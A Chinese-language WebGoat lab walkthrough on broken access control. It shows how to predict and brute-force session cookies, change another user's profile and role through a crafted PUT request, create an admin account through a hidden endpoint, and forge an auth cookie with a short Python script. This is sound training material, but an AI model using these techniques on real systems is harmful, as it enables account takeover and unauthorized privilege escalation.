Broken Access Control

Hijack a session

2

“hijack_cookie”用于区分WebGoat的已验证用户和匿名用户。我们可以尝试通过猜解“hijack_cookie”值,找到已经验证的用户。

随便输入用户名和密码进行登录。查看请求数据,登录失败,但是发现返回了cookie。

将原先的请求增加这个返回的cookie,重新发送。发现失败了,这个cookie并不ok,不是已经认证的。

那就,尝试重复发几次原先的数据包,查看响应中的cookie规律。

从发送的10个请求的响应中提取的cookie如下:

1
2
3
4
5
6
7
8
9
10
7433507759682194895-1702551664866
7433507759682194896-1702551664892
7433507759682194898-1702551664917
7433507759682194899-1702551664945
7433507759682194901-1702551664968
7433507759682194903-1702551664991
7433507759682194904-1702551665021
7433507759682194906-1702551665047
7433507759682194907-1702551665070
7433507759682194908-1702551665096

从上面可以发现cookie规律,以-分割的两部分,前一部分是递增的序列,后一部分是系统的当前时间戳。但是中间有几个值跳过了?那是不是说这些跳过的值就是其他已经验证的账号呢?

来证实一下,我们选则其中一个第一部分被跳过的cookie,比如7433507759682194905。然后,第二部分的值直接从前后两个相邻请求的cookie的第二部分遍历吧,因为这个cookie的时间戳只能是在这两个请求中间。

现在构造的cookie如下:

1
2
3
4
5
7433507759682194905-1702551665021
7433507759682194905-1702551665022
... ...
7433507759682194905-1702551665046
7433507759682194905-1702551665047

直接发包爆破,你看,还真找到了。

Insecure Direct Object References

2

许多访问控制问题容易受到经过身份验证但未经授权的用户的攻击。所以,让我们从合法身份验证开始。然后,我们将寻找绕过或滥用授权的方法。

此处帐户的用户名和密码是“tom”和“cat”。

3

从原始响应到可见内容来看待差异。换句话说,原始响应中通常有一些数据不会显示在页面上。

点击View profile。查看响应数据包,发现比页面显示的内容多了两条。

把这两个多的属性粘贴到输入框,提交。

4

就/profile文件而言,我们正在使用的应用程序似乎遵循RESTful模式。许多应用程序都具有提升用户可以访问另一用户内容的权限(水平越权)。在这种情况下,只使用/profile不起作用,因为自己用户的会话/身份验证数据不会告诉服务器我们想要查看谁的配置文件。

所以,可以尝试传用户id来区分。上一节中查询用户信息的请求api是 /WebGoat/IDOR/profile。所以,此处的输入框可能的 Poc:

1
WebGoat/IDOR/profile/2342384

5

水平越权。通过修改请求数据包来查看、修改他人的资料。

查看其他人的信息。点击第一个View Profile,数据包返回提示换个id试试。那就直接遍历一下。

修改其他人的信息。较旧的应用程序可能遵循不同的模式,但RESTful应用程序通常只是更改方法(是否包含主体)来执行不同的功能。使用这些知识来接受相同的基本请求,更改其方法、路径和主体(有效负载)以修改另一个用户(Buffalo Bill的)配置文件。将role更改为较低的权限(因为权限较高的用户其role通常是较小的数字)。同时将用户的颜色更改为“red”。

Buffalo Bill用户id就是上面爆出来的 2342388。需要将其role改小,将其color改为’red’。点击第二个View Profile,数据包返回提示换个id试试,此处需要将id改为2342388。按照RESTful风格修改数据,应该使用PUT或者PATCH,而且多使用json格式传递修改的数据。可能的修改用户信息的 Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PUT /WebGoat/IDOR/profile/2342388 HTTP/1.1
Host: www.webgoat.local:8080
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Referer: http://www.webgoat.local:8080/WebGoat/start.mvc?username=admin12138
Cookie: JSESSIONID=kbh89eHJUJoIHuORJhzpo9FXZ9KQSr0_W1ZXK4qO
sec-gpc: 1
Accept: */*
dnt: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 82

{"color":"red","name":"Buffalo Bill","role":"1","size":"large","userId":"2342388"}

Missing Function Level Access Control

2

可以在HTML、CSS或javascript中查找隐藏的、用户通常无法直接访问的链接。

在下面的菜单中找到攻击者感兴趣或可能感兴趣的两个不可见菜单项,并提交这些菜单项的标签(菜单中现在没有链接)。

3

利用上一节中找到的隐藏链接 /access-control/users发掘信息。

尝试直接访问这个链接会报404,这个路径应该是不完整,猜测应该是在WebGoat下,即 /WebGoat/access-control/users,现在变成了500错误。

那再试试POST请求。显示不支持的媒体类型。

那就试试增加请求头 'Content-Type': 'application/json'。显示缺少请求体来构造一个User对象。猜一下User对象有哪些属性?username、password?

回去先试一下GET请求吧,增加请求头’Content-Type’: ‘application/json’。这就拿到hash了?

现在继续看看刚才的POST请求,有了GET的返回信息,尝试猜测一下User对象属性,搞不好能新建用户。

猜测User属性:username、password、admin。userHash不太可能是手动设置的,而应该是通过密码加密得到的,所以不应该有这个属性。

直接新建用户试试。看返回结果是成功了。

那用GET查一下看看吧。确实是成功添加了新的用户。

按照题目要求,填入Jerry用户的hash,提交。

4

前面发现的隐藏链接还有一个 /access-control/users-admin-fix,可以试试。
同理,正确的链接应该是 /WebGoat/access-control/users-admin-fix。显示403,说明没权限访问。

当前用户没权限?咋办?还记得上面的POST请求可以创建用户,那我们新建用户,用户名用当前登录WebGoat的用户名,然后设置admin权限,试一试?

再重新刷一下 /WebGoat/access-control/users-admin-fix请求,发现真的可以了。

按照题目要求,填入Jerry用户的hash,提交。

2

试图通过伪造身份验证cookie来绕过身份验证机制。

  • 当收到有效的身份验证cookie时,系统将自动登录用户。
  • 如果没有发送cookie,但提供的凭据是正确的,则系统将生成身份验证cookie。
  • 在任何其他情况下,登录尝试都将被拒绝。
  • 已知凭据:webgoat:webgoat, admin:admin

需要伪造cookie并以Tom身份登录。

分别登录这两个账号,查看返回的cookie有什么规律:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
webgoat: 
spoof_auth="NzM3MDQ0Njk2NTdhNWE3MzUwNzY3NDYxNmY2NzYyNjU3Nw=="; Version=1; Path=/WebGoat; Discard; Secure

admin:
spoof_auth=NzM3MDQ0Njk2NTdhNWE3MzUwNzY2ZTY5NmQ2NDYx; path=/WebGoat; secure

--------------------------------------------------------------------

webgoat: NzM3MDQ0Njk2NTdhNWE3MzUwNzY3NDYxNmY2NzYyNjU3Nw==

admin: NzM3MDQ0Njk2NTdhNWE3MzUwNzY2ZTY5NmQ2NDYx

--------------------------------------------------------------------

分别对两个cookie进行Base64解码:

webgoat: 73704469657a5a73507674616f67626577
admin: 73704469657a5a7350766e696d6461

发现公共前缀:73704469657a5a735076

那就只看两者不同的后缀部分:
webgoat: 74616f67626577
admin: 6e696d6461

--------------------------------------------------------------------
分别对两个不同的后缀部分进行十六进制解码:

74616f67626577 --> taogbew <-- webgoat 反序
6e696d6461 --> nimda <-- admin 反序

显然,规律很明显了,生成cookie的固定格式就是:

1
base64_encode('73704469657a5a735076'+hex_encode(reverse(username)))

python代码如下:

1
2
3
4
5
import base64

username = 'Tom'
cookie_str = base64.b64encode(b'73704469657a5a735076' + username[::-1].encode('utf-8').hex().encode('utf-8'))
print(cookie_str)

所以,以Tom身份登录的cookie就是:spoof_auth=NzM3MDQ0Njk2NTdhNWE3MzUwNzY2ZDZmNTQ=

至于请求体中的用户名和密码可以不填,也可以乱填,但是不能没有。